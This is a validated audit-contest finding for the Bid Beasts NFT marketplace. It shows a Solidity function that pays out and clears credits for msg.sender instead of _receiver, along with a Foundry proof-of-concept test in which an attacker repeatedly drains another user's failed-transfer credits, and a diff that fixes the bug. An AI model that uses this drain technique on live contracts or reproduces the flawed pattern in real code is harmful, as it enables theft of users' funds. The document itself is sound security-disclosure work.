Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Fund stealiing

gaurangbrdv

failedTransferCredits mapping is updated for caller address instead of receiver in withdrawAllFailedCredits function, lead to drain market by hacker

Description

  • failedTransferCredits updates for receiver address which accidently could not receive ether while calling _payout function, so that they can withdraw their funds later.

  • In withdrawAllFailedCredits function the receiver perameter has been passed for withrawing funds. But instead updating mapping for receiver address the function is updating mapping on caller address. that means the mapping for receiver address is as it is. which opens doors for attackers.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
@> failedTransferCredits[msg.sender] = 0;
​
@> (bool success,) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Attacker saw a transaction in mempool, that updated failedTransferCredits mapping for some user. they can simple pass the user address and get their money and call function repatedly to drain whole market.

Impact:

  • High impact because it directly targets the users funds.

  • High impact because it can also steal protocol fees if for some reason owner could not receive ether in _payout function

Proof of Concept

function test_stealMoney() public {
// Making users
address user = makeAddr("user");
address hacker = makeAddr("hacker");
address user3 = makeAddr("user3");
address user2 = address(new RejectEther());
// funding users for interacting with market
vm.deal(user2, 1 ether);
vm.deal(hacker, 1 ether);
vm.deal(user3, 1 ether);
// funding market to assume that it has some funds already
vm.deal(address(market), 2 ether);
// minting nft to user
vm.prank(OWNER);
uint256 tokenId = nft.mint(user);
assertEq(nft.ownerOf(tokenId), user);
// user lists the nft
vm.startPrank(user);
nft.approve(address(market), tokenId);
market.listNFT(tokenId, 0.01 ether, 1 ether);
vm.stopPrank();
assertEq(market.getListing(tokenId).seller, user);
assertEq(nft.ownerOf(tokenId), address(market));
// user2 makes bid on the nft of user
vm.startPrank(user2);
market.placeBid{value: 0.06 ether}(tokenId);
vm.stopPrank();
// user2 make big bid on nft of user
vm.startPrank(user3);
market.placeBid{value: 0.09 ether}(tokenId);
vm.stopPrank();
// we are going forward in time
vm.warp(block.timestamp + 16 minutes);
// settle auction
market.settleAuction(tokenId);
// hacker steal the money of user2 and extra money from the protocol
vm.prank(hacker);
market.withdrawAllFailedCredits(user2);
assertEq(market.failedTransferCredits(user2), 0.06 ether);
assertEq(hacker.balance, 1.06 ether);
vm.prank(hacker);
market.withdrawAllFailedCredits(user2);
assertEq(market.failedTransferCredits(user2), 0.06 ether);
assertEq(hacker.balance, 1.12 ether);
}

Recommended Mitigation

consider to make suggested changes to function, that will prevent the attacker to steal someone money by simply calling it. After making changes the receiver will get money and mapping updated for receiver only even if it called by the attacker.

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
​
- (bool success,) = payable(msg.sender).call{value: amount}("");
+ (bool success,) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!